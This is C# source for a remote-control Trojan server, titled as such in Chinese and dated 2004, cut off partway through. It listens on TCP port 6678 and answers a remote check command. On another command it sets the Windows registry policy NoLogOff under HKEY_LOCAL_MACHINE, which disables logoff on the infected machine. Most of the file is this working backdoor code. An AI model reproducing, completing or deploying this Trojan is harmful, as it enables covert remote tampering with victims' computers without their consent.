特洛伊木马服务器
//wgscd 2004-12 QQ:153964481
using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using Microsoft.Win32;
namespace server
{
/// <summary>
/// Form1 的摘要说明。
/// </summary>
public class Form1 : System.Windows.Forms.Form
{
/// <summary>
/// 必需的设计器变量。
/// </summary>
private System.ComponentModel.Container components = null;
private TcpListener listener;
private string mystr="您好!非常抱歉,您的注册表:";
private RegistryKey rrr=Registry.LocalMachine;
private RegistryKey key1;
public Form1()
{
//
// Windows 窗体设计器支持所必需的
//
InitializeComponent();
{int port =6678;
listener=new TcpListener(port);
listener.Start();
Thread thread=new Thread(new ThreadStart(target));
thread.Start();
}
//
// TODO: 在 InitializeComponent 调用后添加任何构造函数代码
//
}
public void target()
{
Socket socket= listener.AcceptSocket();
while(socket.Connected)
{
byte[] by=new Byte[6];
int i=socket.Receive(by,by.Length,0);
string ss=System.Text.Encoding.ASCII.GetString(by);
//OOOOOOOOOOOOOOOOOOOOOOOOOOO以下是修改注册表OOOOOOOOOOOOOOOOOOOOOOOOOOO
//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
if(ss=="jiance")
{
string str="hjc";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}
if(ss=="zx1000")
{
try
{
key1=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key1.SetValue("NoLOGOff",1);
key1.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLOGOff被修改!请将它置为0!";
}
catch{}
if(key1==null)
{
try
{
RegistryKey key2=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoLOGOff",1);
key2.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLOGOff被修改!请将它置为0!";
}//try
catch{}
}//if(key1==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}//if(ss=="")
//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
//****************************